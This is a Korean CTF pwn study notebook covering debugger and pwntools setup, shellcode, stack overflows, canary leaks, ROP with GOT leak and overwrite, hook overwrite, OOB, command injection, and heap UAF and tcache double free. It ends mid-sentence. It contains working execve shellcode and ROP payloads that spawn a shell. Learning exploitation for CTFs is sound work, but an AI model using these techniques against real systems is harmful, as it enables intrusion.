Setting
Ubuntu 22.04
CTF용 우분투 세팅 (wsl)
sudo apt update -y
sudo apt install netcat vim git gcc ssh curl wget gdb sudo python3 python3-pip -y
sudo apt install libffi-dev build-essential libssl-dev libc6-i386 libc6-dbg gcc-multilib make tmux xterm -y
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 -y
python3 -m pip install --upgrade pip
pip3 install unicorn keystone-engine pwntools ropgadget
sudo apt install libcapstone-dev -y
cd ~
# git clone https://github.com/longld/peda.git ~/peda
# echo "source ~/peda/peda.py" >> ~/.gdbinit
# git clone https://github.com/scwuaptx/Pwngdb.git
# cp ~/Pwngdb/.gdbinit ~/
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
sudo apt install ruby-full -y
sudo gem install one_gadget seccomp-tools
Pwngdb
# Entry point address: 0x10c0
readelf -h stack
# gadget
ROPgadget --binary ./binary_or_library > gadget
# gdb 실행
cd "/mnt/c/wsl2/stack"
gdb binary_name
# 보호 기법 확인
pwngdb> checksec
# 함수 주소 찾기
pwngdb> print <function_name>
# b breakpoint / c continue / r run / si step into / ni next instruction / i info / k kill/ pd pdisas
pwngdb> entry
pwngdb> b *main
pwngdb> c
# bp listing & cancle
pwngdb> i b
pwngdb> d 1
# backtrace
pwngdb> bt
# set <주소/레지스터> = <변경할 값>
pwndbg> set $rax = 0
pwndbg> set $rsp = $rbp
pwndbg> set *(unsigned int*)0x400000 = 10
pwndbg> set *(float*)0x400010 = 3.14
# 어떤 함수의 내부까지 궁금할 때는 si를, 그렇지 않을 때는 ni
# next instruction
pwngdb> ni
pwngdb> si
# si 로 들어갔을 때 해당 함수 한번에 실행하여 나오기
pwngdb> fin
# disassembly
pwngdb> disassemble main
## 가독성 좋게 메모리 구조 표현해줌
pwngdb> u
# info registers
pwngdb> i r
# rsp 부터 80바이트를 8바이트 씩 hex형식으로 출력
pwngdb> x/20gx $rsp
# rip부터 5줄의 어셈블리 명령어 출력
pwngdb> x/5i $rip
# 특정 주소의 문자열 출력
pwngdb> x/s 0x40000
# 재귀적으로 메모리가 참조하고 있는 주소 탐색
pwngdb> tele
pwngdb> telescope $esp 40
# 파일이 매핑 된 영역일 경우 해당 파일의 경로까지 보여줌
pwngdb> vmmap
# 입력값 전달
pwndbg> r $(python3 -c "print('\xff' * 100)")
pwndbg> r $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')")
# 특정 이벤트 발생 시 프로세스 중지
pwndbg> catch syscall arch_prctl
# 특정 주소의 값이 변경될 시 프로세스 중지
pwndbg> watch *(0x7ffff7d87740+0x28)
PwnTool
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# CTF 풀 때, 원격으로 붙기
p = remote("host3.dreamhack.games", 14855)
# 로컬 바이너리 실행 & 특정 lib 로드
elf = context.binary = ELF("./rao")
libc = ELF("./libc.so.6")
p = process(elf.path, env={"LD_PRELOAD":"./libc.so.6"})
# 디버깅 / 실행 전에 ubuntu에서 tmux 입력
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
# printf에 중요 정보가 있을 때
p.recvuntil(b"Printf() address : ")
printf_addr = int(p.recvline().strip(), 16)
# 해당 함수의 실 위치
libc.sym["printf"]
libc.symbols["printf"]
# 문자열 찾기
next(libc.search(b"/bin/sh"))
# 가젯 찾기
ROP(libc).find_gadget(["pop rdi", "ret"])[0]
# payload
offset = 56
payload = b"A" * offset
payload += p64(get_shell_addr)
# payload 입력 직후 stack을 보고 싶을때
pause()
pwngdb> ni
pause 풀기 # tmux Ctrl + b 후 방향키로 입력창 변경 가능
pwngdb> fin # 원하는 곳까지 나오기
# scanf로 받을 때
p.sendafter("Input: ", payload)
# 그 외
p.send(payload)
# 셸 획득
p.interactive()
Pwn Base
#############################수정중####################################
from pwn import *
import argparse
import sys
import os
def slog(n, m): return success(' : '.join([n, hex(m)]))
parser = argparse.ArgumentParser(description='Exploit Script')
parser.add_argument('--bin', help='Path to the binary to execute')
parser.add_argument('-R', action='store_true', help='Remote?')
parser.add_argument('-D', action='store_true', help='Debug mode?')
parser.add_argument('-A', action='store_true', help='ARM target?')
args = parser.parse_args()
isRemote = args.R
isDebug = args.D
isArm = args.A
binary_path = args.bin
if not isRemote and not binary_path:
print("error: --bin is required when not using --R (remote mode).")
sys.exit(1)
if isRemote:
p = remote('host8.dreamhack.games', 11666)
else:
if isDebug:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if isArm:
p = process(['qemu-arm-static', '-g', '54321', binary_path])
sleep(1) # qemu가 GDB 포트를 열 때까지 잠시 대기
gdbscript = "target remote :54321"
gdb.attach(p, gdbscript=gdbscript, exe=binary_path, gdb='gdb-multiarch')
else:
p = process(binary_path)
gdb.attach(p)
else:
p = process(binary_path)
p.interactive()
Pwndocker
낮은 버전의 libc 라이브러리를 사용하게 될 시 Ubuntu-22.04 와 같은 OS는 해당 라이브러리를 로드할 수 없다.
이때, Ubuntu 버전을 낮추는 등 라이브러리를 로드할 수 있게 환경을 구성해야 하는데, 도커를 활용해 해당 문제를 빠르게 해결하여 환경을 구축할 수 있다.
LD_PRELOAD
libc만 로드하면 현재 사용 중인 ld 파일을 기준으로 로드하기 때문에 해당 libc 버전에 맞는 ld파일도 같이 로드해야 함. *LD 파일은 libc의 함수를 가져오는 역할을 함.
실행파일을 실행하는 과정에서 라이브러리를 로딩할 때, 환경 변수가 설정되어 있다면 지정된 라이브러리를 먼저 로딩하도록 하는 변수다.
- 일반적인 동적 링크 :
system()
→ld
→libc
- LD_PRELOAD 적용 :
system()
→ld
→LD_PRELOAD Library
→ (LD_PRELOAD Library에 없을 경우)libc
patchelf
OS버전과 라이브러리 버전이 너무 안맞아 LD_PRELOAD를 해도 로드되지 않는 상황일 때, 사용하는 툴로 LD_PRELOAD를 통해 실행파일이 지정한 라이브러리와 로더를 사용할 수 있게 지정했던 것처럼 패치를 통해 지정한다.
patchelf --set-interpreter <변경할 ld 경로> <실행 파일>
patchelf --replace-needed <변경할 내용> <변경할 파일> <실행 파일>
patchelf --set-interpreter /glibc/2.27/64/lib/ld-2.27.so ./fho
patchelf --replace-needed libc.so.6 ./libc-2.27.so ./fho
Shellcode
어셈블리어로 쉘코드를 작성할 수 있어야 추후 원하는 동작으로 이끌어내는 데 도움이 될테니 알아두자.
orw shellcode
파일을 열고 읽고 출력해주는 쉘코드로 아래 함수 정보를 이용하여 작성하면 된다.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
---|---|---|---|---|
read | 0x00 | unsigned int fd | char *buf | size_t count |
write | 0x01 | unsigned int fd | const char *buf | size_t count |
open | 0x02 | const char *filename | int flags | umode_t mode |
push 0x0
mov rax, 0x676e6f6f6f6f6f6f
push rax
mov rax, 0x6c5f73695f656d61
push rax
mov rax, 0x6e5f67616c662f63
push rax
mov rax, 0x697361625f6c6c65
push rax
mov rax, 0x68732f656d6f682f
push rax
mov rdi, rsp ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
execve shellcode
쉘을 얻는 코드로 일반적으로 쉘코드라 하면 해당 방법을 의미함.
syscall | rax | arg0 (rdi) | arg1 (rsi) | arg2 (rdx) |
---|---|---|---|---|
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
skeleton code
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)"
);
void run_sh();
int main() { run_sh(); }
Extract Shellcode
objdump -d poc
objcopy -O binary --only-section=.text poc text.bin
xxd -i text.bin
BOF
설정된 버퍼보다 더 많은 양의 데이터를 입력하여 해당 버퍼를 넘어 다른 데이터 영역까지 침범하는 취약점
- 중요 데이터 변조 [다른 데이터 영역 침범]
- 데이터 유출 [널 바이트 삭제]
- 실행 흐름 조작 [RIP, 함수의 반환 주소 조작]
Ubuntu 20.04 버전 이상은 기본적으로 Segmentation fault라는 에러가 출력시 /var/lib/apport/coredump
에 코어 파일을 생성하기에 해당 파일을 통해 디버깅 할 수 있다.
# 코어 파일이 생성되지 않을 때, 코어 파일 크기 제한 해제
ulimit -c unlimited
# 코어 파일 분석 법
gdb rao -c core.1828876
위험 함수들
주로 BOF가 발생할 수 있는 함수들 정리
입력 함수(패턴) | 위험도 | 평가 근거 |
---|---|---|
gets(buf) | 매우 위험 |
|
scanf(“%s”, buf) | 매우 위험 |
|
scanf(“%[width]s”, buf) | 주의 필요 |
|
fgets(buf, len, stream) | 주의 필요 |
|
Return Address Overwrite
만약 버퍼의 주소를 알고 있다면, 버퍼에 바로 쉘 코드를 삽입하고 버퍼 주소로 RAO를 하는 방법도 있다.
buf 크기보다 더 데이터를 입력할 수 있다면, 아래 그림에 따르면 0x38만큼의 dummy data를 삽입 후 return address를 덮어 쓰면 된다.
아래와 같은 방법으로 위 그림의 스택 구조를 가진 프로그램에서 exploit 할 수 있다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
실제 Stack 상황을 보면 RSP에 입력 값[“AAAAAAAAAAAA”]이 들어가 있고, RBP + 8 부분에 돌아가야 할 주소가 적혀 있는 것을 알 수 있다. 즉, RBP + 8 부분의 값을 원하는 값으로 변경하여 프로그램 흐름을 조작하는 것이다.
Stack Canary
Ubuntu 22.04의 gcc는 기본적으로 스택 카나리가 적용된다. [-fno-stack-protector 없애려면 옵션 필요]
Canary 분석
카나리 적용 전/후 비교 시 에러 문구가 달라짐을 알 수 있다.
카나리 적용 전/후 main 함수 비교 시 일부 명령어들이 추가됨을 알 수 있다.
리눅스는 fs를 Thread Local Storage (TLS)를 가리키는 포인터로 사용
...
<+8>: sub rsp,0x10
<+12>: mov rax,QWORD PTR fs:0x28 # fs[세그먼트]에 랜덤 값 저장
<+21>: mov QWORD PTR [rbp-0x8],rax # rbp-0x8에 값 저장
...
<+54>: mov rdx,QWORD PTR [rbp-0x8] # rdx에 카나리 값 옮기기
<+58>: sub rdx,QWORD PTR fs:0x28 # 뺄셈을 통해 비교
<+67>: je 0x5555555551b3 <main+74> # 같으면 점프
<+69>: call 0x555555555060 <__stack_chk_fail@plt> # 다르면 fail
<+74>: leave
<+75>: ret
TLS
더 자세한 로직에 대해서는 Master Canary에서 다루기
thread의 저장 공간(thread의 전역 변수를 저장하기 위한 공간으로 Loader에 의해서 할당)을 의미하며 모든 스레드가 참조할 수 있는 전역 변수를 저장하는데에 쓰인다.
init_tls() 함수에서의 레지스터 값 확인
- ARCH_SET_FS의 상수 값 : 0x1002
- TLS 주소 : 0x7ffff7d87740
- canary 주소 : fs + 0x28 -> 0x7ffff7d87740 + 0x28
main() 함수 진입 후 해당 부분의 값을 보면 stack canary 값을 볼 수 있다.
우회
- TLS 접근 TLS에 카나리 값이 저장되기 때문에 TLS의 주소와 읽기, 쓰기 권한이 있다면 임의의 값으로 조작할 수 있다.
- Stack Canary Leak
StackCanary가 저장된 스택 위에서 BOF를 발생시킬 수 있다면, StackCanary의 마지막
/x00
를 지워 출력되게 할 수 있다.
int main() {
char first[8];
char second[8];
printf("second : ");
read(0, second, 64);
printf("second %s\n", second);
printf("first : ");
read(0, first, 64);
printf("first %s\n", first);
return 0;
}
지역변수의 스택 위치를 파악하는 것이 중요하다.
rbp - 0x18 : first[8]
rbp - 0x10 : second[8]
rbp - 0x8 : StackCanary
으로 되어 있다.
second 입력 시 AAAAAAAA
와 Enter 입력[\x0a
]까지 포함하여 총 9 문자 입력 시 StackCanary의 \x00
값이 \x0a
로 되면서 같이 출력된다.
NX & ASLR
No Execute
-zexecstack
옵션을 통해 보호 기법을 뺄 수 있다.
실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법이다.
nx 보호 기법의 적용 전/후를 보면 stack 영역의 실행권한 여부에서 차이가 있다.
Address Space Layout Randomization
파일을 Page 단위로 매핑하기 때문에 페이지의 크기인 하위 3바이트는 변경되지 않는다.
바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법이다.
ASLR이 적용됐을 때, 바이너리 실행 시 buf의 주소가 실행마다 달라짐을 볼 수 있다.
Link
# 바이너리에 link된 라이브러리 확인
ldd binary_name
# gcc의 표준 라이브러리 경로 확인
ld --verbose | grep SEARCH_DIR | tr -s ' ;' '\n'
Static으로 링크했을 시 puts
함수를 직접 호출한다.
Dynamic으로 링크했을 시
puts
함수의 PLT 주소를 호출한다.
PLT & GOT
함수가 제일 처음 호출될 때,
runtime resolve
과정을 거쳐 GOT에 주소를 저장하며, 이후에 호출될 때 GOT를 참조하여 주소를 꺼낸다.
동적으로 링크된 심볼의 주소를 찾기 위해 사용하는 테이블.
- 처음 시작 시 아직
puts
함수가 실행되지 않아 resolve가 안되어있기에plt
주소가 적혀있다. - 첫
puts
함수 call 시si
로 내부로 들어가면_dl_runtime_resolve_fxsave
함수에 의해 GOT에 주소가 저장된다. - 두 번째
puts
함수 call 시si
로 내부로 들어가면 GOT에 주소가 저장되어 있기에 바로puts
함수가 시작된다. - GOT 변조 시 변조된 주소로 실행 흐름이 넘어간다 [GOT Overwrite 공격 기법]
우회
- Return to Library 실행 권한이 남아있는 코드 영역[바이너리의 코드 영역, 라이브러리의 코드 영역]으로 반환 주소를 덮는 공격 방법
- Return Oriented Programming
실행 권한이 있는 영역에 있는 명령어 조각[가젯]을 이용하여 함수를 실행하는 것으로
ret
가젯을 이용하여 복잡한 실행 흐름을 구현할 수 있는 기법이다. - libc 관련 주소 얻기
read
,puts
,printf
등 libc 라이브러리에 있는 함수들이 사용되고 있다면 해당 함수들의 GOT를 읽고, libc 라이브러리 내system
함수와의 거리 차이를 통해 계산한다.
또는 main
함수의 반환 주소인 libc_start_main+x
를 Leak하여 거리 차이를 통해 계산한다.
ROP
dreamhack rop 문제 풀이 중 궁금한 부분 정리
- 가젯의 활용
libc의 코드 가젯이나, libc_csu_init 가젯 사용하여 문제 해결 원하는 레지스터를 변경시키는 함수를 호출하여 문제 해결 libc_csu_init 가젯에 대한 내용은 Return-to-Csu 등의 키워드로 구글에 검색
-
pop rsi r15 가젯 사용 이유 rop binary 내 가젯에서
pop rsi ; ret
가젯이 존재 하지 않고,pop rsi ; pop r15 ; ret
가젯만 존재하기 때문에 사용한 것으로pop r15
의 경우 rop 문제에서는 무의미하며pop rsi
명령을 사용하기 위해 쓴거다. -
pop rdx 가젯 미사용 이유 바이너리 내 rdx 가젯이 존재하지 않고, 해당 문제에서는 이미 0x100이라는 충분한 길이가 설정되어 있어서 사용하지 않음.
- GOT Leak
write 함수를 통해 read GOT 값을 출력시켜 주소 Leak하며 이때 6byte를 읽는 이유는 write 함수는 문자열을 출력해주는 함수이기 때문에 \x00
는 출력되지 않기 때문이다.
64비트 바이너리의 libc주소는 보통 0x7f부터 시작되며 총 6바이트고 나머지는 0x00으로 채워진다.
u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
로 받아도 됨.
# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 마지막 p64(0)은 pop r15 때문
payload += p64(write_plt)
# 출력된 read GOT로 libc base Address Leak
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
- GOT Overwrite read 함수의 GOT를 system 주소로 변조
# read(0, read_got, …) -> read_got에 system 주소 입력
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 마지막 p64(0)은 pop r15 때문
payload += p64(read_plt)
p.send(p64(system) + b’/bin/sh\x00’)
- system 호출
read_got에
system 주소 + "/bin/sh\x00"
로 총 16byte를 입력하였기 때문에"/bin/sh\x00"
는 read_got+0x8 주소에 입력되어 있음
# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got + 0x8)
payload += p64(ret)
payload += p64(read_plt)
p.send(p64(system) + b'/bin/sh\x00')
PIE & RELRO
Position-Independent Executable
ASLR만 적용될 경우 실행 파일의
main()
이나 전역 변수 등이 위치한 주소는 항상 고정된 상태일 수 있다는 점
PIE는 무작위 주소에 매핑돼도 실행 가능한 실행 파일을 뜻한다.
ASLR과 PIE가 둘 다 적용된 상태면 스택, 힙, 라이브러리 영역뿐만 아니라 실행 파일이 매핑되는 영역도 무작위하게 바뀐다.
#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf_stack[0x10]; // 스택 영역의 버퍼
char *buf_heap = (char *)malloc(0x10); // 힙 영역의 버퍼
printf("buf_stack addr: %p\n", buf_stack);
printf("buf_heap addr: %p\n", buf_heap);
printf("libc_base addr: %p\n",
*(void **)dlopen("libc.so.6", RTLD_LAZY)); // 라이브러리 영역 주소
printf("printf addr: %p\n",
dlsym(dlopen("libc.so.6", RTLD_LAZY),
"printf")); // 라이브러리 영역의 함수 주소
printf("main addr: %p\n", main); // 코드 영역의 함수 주소
}
- 코드 베이스 구하기
위에서 libc 베이스를 구한 것 처럼 바이너리 베이스 주소를 구하는 방법 사용
- Partial Overwrite
ASLR의 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 한 바이트만 다르다면, 이 값만 덮어서 원하는 코드를 실행시킬 수 있다.
RELocation Read-Only
Lazy Binding 방식은 함수 초기 호출 시 GOT 업데이트 하기 때문에 GOT가 존재하는 메모리 영역에 쓰기 권한이 부여됨.
RELRO는 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한을 제거한다. RELRO는 Partial, Full 두 가지로 나뉜다.
.got
, .got.plt
영역의 차이는 now, lazy binding 차이로 실행되는 시점에 바인딩 된 값들이 있는 영역과 실행 중에 값이 써져야 하는 영역의 차이다.
Partial RELRO
보통은 Full로 적용되며
-no-pie
옵션을 통해 PIE를 해제하면 Partial RELRO가 적용된다.
해당 경우는 .got.plt 영역에 대한 쓰기 권한이 존재하므로 GOT Overwrite방법으로 우회할 수 있다.
Full RELRO
라이브러리에 위치한 hook
을 통해 우회한다. -> Hook Overwrite
우회
Hook Overwrite
Glibc 2.33 이하 버전에서는 libc 데이터 영역에
malloc
,free
를 호출할 때 함께 호출 되는Hook
이 함수 포인터 형태로 존재한다.
Hook이라는 함수 포인터를 임의의 함수 주소로 오버라이트 하는 방법이다. Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하기 때문에 사용 가능한 방법이다.
훅을 실행할 때, 기존 함수에 전달한 인자를 같이 전달하기 때문에 __malloc_hook
을 system
주소로 변조하고 malloc("/bin/sh")
호출 시 쉘을 얻을 수 있다.
One Gadget
Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다르고 버전이 높을 수록 제약 조건을 만족하기 어렵긴 하다.
기존에는 쉘을 실행하기 위해 복잡한 ROP Chain을 구성했지만 단일 가젯만으로도 쉘을 실행할 수 있는 가젯이다.
Out-of-Bounds (OOB)
배열의 임의 인덱스에 접근할 수 있는 취약점으로 프로그램을 개발할 때 배열의 인덱스와 관련해서 실수가 나오기 쉽다.
인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생하며 해당 오프셋에 있는 메모리의 값을 참조할 수 있게 된다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = {
"cat",
"ls",
"id",
"ps",
"file ./oob" };
...
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
command
및 name
주소 확인
pwndbg> p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>
command
와 name
주소 차이를 통해 name
을 참조하도록 조작
여기서 참조 범위때문에
/bin
만 들어가게 되므로name
에/bin/sh\x000x804a0ac
와 같이name + 8
주소를 추가로 넣어야 한다.
command[19] = 0x804a060 + 76
이 되어 name
의 주소가 된다.
C언어
Command Injection
strncmp(cmd_ip, "ifconfig", 8)
함수는 두 문자열을 비교하되, 정확히 8바이트만큼만을 비교한다는 것을 의미 -> ifconfig;/bin/sh
로 쉘 실행 가능!
strcmp
함수는 검사할 바이트 길이를 지정해주는 것이 아닌, NULL 바이트를 만날 때까지의 문자열에 대하여 검사를 진행하는 함수
Type Error
한번 정의된 자료형은 바꿀 수 없으며 1바이트 크기의 변수에 1을 더하다가 그 값이 0xff
를 넘어서게 되면, 0x100
이 되는 것이 아니라 0x00
이 된다.
4바이트 크기의 변수에 0x0123456789abcdef
을 대입하려 하면, 하위 4바이트인 0x89abcdef
만 저장되고 나머지 값은 모두 버려진다.
자료형 | 크기 | 범위 | 용도 |
---|---|---|---|
(signed) char | 1 바이트 | 정수, 문자 | |
unsigned char | |||
(signed) short (int) | 2 바이트 | 정수 | |
unsigned short (int) | |||
(signed) int | 4 바이트 | 정수 | |
unsigned int | |||
size_t | 32bit: 4 바이트 64bit: 8 바이트 |
생략 | 부호 없는 정수 |
(signed) long | 32bit: 4 바이트 64bit: 8 바이트 |
정수 | |
unsigned long | |||
(signed) long long | 32bit: 8 바이트 64bit: 8 바이트 |
정수 | |
unsigned long long | |||
float | 4 바이트 | 실수 | |
double | 8 바이트 | 실수 | |
Type * | 32bit: 4 바이트 64bit: 8 바이트 |
주소 |
변수의 값이 연산 중에 자료형의 범위를 벗어나면, 갑자기 크기가 작아지거나 커지는 현상이 발생하는데, 이런 현상을 Type Overflow/Underflow라고 부른다.
아래 코드에서
ssize_t read(int fildes, void *buf, size_t nbyte)
함수 형태이며size_t
자료형은 32비트 아키텍쳐에서 기본적으로unsigned int
와 동일한 연산을 진행한다.
size
에 0
입력 시 size - 1 = -1
이 되므로 언더플로우가 발생하며 0xffffffff = 4294967295
값을 가지게 된다. -> 이를 통해 버퍼 오버플로우로 연계할 수 있다.
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1); // Attack Point
return 0;
}
Use After Free (UAF)
Memory Allocator는 구현에 사용된 알고리즘에 따라 여러 종류가 있다. 리눅스는
ptmalloc2
, 구글은tcmalloc
, 페이스북이나 파이어폭스는jemalloc
을 사용한다.
Use-After-Free는 메모리 참조에 사용한 포인터를 메모리 해제 후에 적절히 초기화하지 않아서, 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점이다. 즉, 해제된 메모리 주소에 접근할 때 발생하는 취약점
// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct NameTag {
char team_name[16];
char name[32];
void (*func)();
};
struct Secret {
char secret_name[16];
char secret_info[32];
long code;
};
// NameTag, Secret 구조체는 같은 크기
// -> 해제 후 다른 구조에 할당하면 결국 같은 메모리 영역을 사용하게 됨.
int main() {
int idx;
struct NameTag *nametag;
struct Secret *secret;
secret = malloc(sizeof(struct Secret));
strcpy(secret->secret_name, "ADMIN PASSWORD");
strcpy(secret->secret_info, "P@ssw0rd!@#");
secret->code = 0x1337;
free(secret);
secret = NULL;
nametag = malloc(sizeof(struct NameTag));
strcpy(nametag->team_name, "security team");
memcpy(nametag->name, "S", 1);
printf("Team Name: %s\n", nametag->team_name);
printf("Name: %s\n", nametag->name);
if (nametag->func) {
// 여기서 Secret.code가 노출됨.
printf("Nametag function: %p\n", nametag->func);
nametag->func();
}
}
ptmalloc2
ptmalloc의 구현 목표는 메모리의 효율적인 관리로 아래와 같은 역할을 수행한다.
- 메모리 낭비 방지
- 빠른 메모리 재사용
- 메모리 단편화 방지
메모리 낭비 방지
메모리의 동적 할당과 해제는 빈번하게 일어나기에 먼저 해제된 메모리 공간 중에서 재사용할 수 있는 공간이 있는지 확인하고 재사용한다. [작은 크기를 할당 요청이 발생할 때, 큰 메모리만 남아 있어도 그 영역을 주기도 한다.]
빠른 메모리 재사용
빠르게 메모리를 할당해 주려면 해제된 메모리 공간의 주소를 알고 있어야 한다. ptmalloc은 메모리 공간을 해제할 때, tcache 또는 bin이라는 연결 리스트에 해제된 공간의 정보를 저장해놓는다.
메모리 단편화 방지
내부 단편화는 할당한 메모리 공간의 크기에 비해 실제 데이터가 점유하는 공간이 적을 때 발생하며, 반대로 외부 단편화는 할당한 메모리 공간들 사이에 공간이 많아서 발생하는 비효율을 의미한다.
ptmalloc은 단편화를 줄이기 위해 정렬(Alignment)과 병합(Coalescence) 그리고 분할(Split) 을 사용한다. - 비슷한 크기의 요청에서는 모두 같은 크기를 주어 정렬, 더 큰 공간을 줘야 한다면 병합, 더 작은 공간을 줘야 한다면 분할한다.
청크(Chunk)
ptmalloc이 할당한 메모리 공간을 의미하며, 청크는 헤더와 데이터로 구성되며, 헤더는 청크 관리에 필요한 정보를 담고 있으며, 데이터 영역에는 사용자가 입력한 데이터가 저장된다.
이름 | 크기 | 의미 |
---|---|---|
prev_size |
8바이트 | 인접한 직전 청크의 크기. 청크를 병합할 때 직전 청크를 찾는 데 사용된다. |
size |
8바이트 | 현재 청크의 크기. 헤더의 크기도 포함한 값이다. 64비트 환경에서, 사용 중인 청크 헤더의 크기는 16바이트이므로 사용자가 요청한 크기를 정렬하고, 그 값에 16바이트를 더한 값이 된다. |
flags |
3비트 | 64비트 환경에서 청크는 16바이트 단위로 할당되므로, size 의 하위 4비트는 의미를 갖지 않는다. 그래서 ptmalloc은 size 의 하위 3비트를 청크 관리에 필요한 플래그 값으로 사용한다.각 플래그는 순서대로 allocated arena(A), mmap’d(M), prev-in-use(P)를 나타낸다. prev-in-use 플래그는 직전 청크가 사용 중인지를 나타내므로, ptmalloc은 이 플래그를 참조하여 병합이 필요한지 판단할 수 있다. |
fd |
8바이트 | 연결 리스트에서 다음 청크를 가리킴. 해제된 청크에만 있다. |
bk |
8바이트 | 연결 리스트에서 이전 청크를 가리킴. 해제된 청크에만 있다. |
Bin
bin은 문자 그대로, 사용이 끝난 청크들이 저장되는 객체로 메모리의 낭비를 막고, 해제된 청크를 빠르게 재사용한다.
Small bin
smallbin에는 32 바이트 이상 1024 바이트 미만의 크기를 갖는 청크들이 보관되며 index가 증가하면 저장되는 청크의 크기는 16바이트씩 커진다 (smallbin[0] = 32바이트, smallbin[61] = 1008바이트)
- FIFO 방식이다. (Unlink 필요)
- 병합 대상이다.
Fast bin
smallbin에서도 크기가 작은 메모리들은 더 자주 할당되고 해제되기에 속도를 빠르게 한다.
32바이트 <= fastbin <=176바이트
구간에 있다.
- LIFO 방식이다. (Unlink 필요 없음)
- 병합 대상이 아니다.
Large bin, Unsorted bin
largebin은 1024 바이트 이상의 크기를 갖는 청크들이 보관하며, unsortedbin은 문자 그대로, 분류되지 않은 청크들을 보관하는 bin이다.
이 범위는 largebin의 인덱스가 증가하면 로그적으로 증가한다. 예를 들어, largebin[0]는 1024 바이트 이상, 1088 바이트 미만의 청크를 보관하며, largebin[32]는 3072 바이트 이상, 3584 바이트 미만의 청크를 보관한다.
- largebin안 청크를 크리 내림차순으로 정렬한다.
- 연속된 largebin 청크는 병합 대상이다.
tcache
arena
객체가 레이스 컨디션을 막기 위해 락 기능을 제공하는데 이로 인해 병목 현상이 발생할 수 있다. 이를 보완하기 위해 추가된 것이 tcache
이다.
tcache
의 경우 각 쓰레드에 독립적으로 할당되는 캐시 저장소를 지칭하기에 레이스컨디션을 방어할 수 있다. arena의 bin에 접근하기 전에 tcache를 먼저 사용하기에 병목 현상 완화 가능하다.
Double Free
말 그대로 free
로 해제한 청크를 free
로 다시 해제하는 방법을 통해 나타나는 취약점으로 fd
는 자신보다 이후에 해제된 청크를, bk
는 이전에 해제된 청크를 나타내는데, 어떤 청크가 free list에 중복해서 포함된다면, 첫 번째 재할당에서 fd
와 bk
를 조작하여 free list에 임의 주소를 포함시켜 악용한다.
Tcache Duplication
Double Free Bug 보호 기법을 우회하는 방법이다.
보호기법
tcache_entry
는 해제된 tcache 청크들이 갖는 구조입니다. 일반 청크의 fd
가 next
로 대체되고, LIFO 형태로 사용되므로 bk
에 대응되는 값은 없다. 또한, double free를 탐지하기 위해 key
포인터가 tcache_entry
에 추가되었다.
typedef struct tcache_entry {
struct tcache_entry *next;
+ /* This field exists to detect double frees. */
+ struct tcache_perthread_struct *key;
} tcache_entry;
우회
- 0x555555000050 주소를 할당 받음
- 0x555555000050 : size, 0x555555000060 : data 임
- 해제 시 0x555555000060 주소에
{ next = 0x0, key = 0x555555000010 }
로 되어 있음 - 0x555555000010 해당 값 조회 시
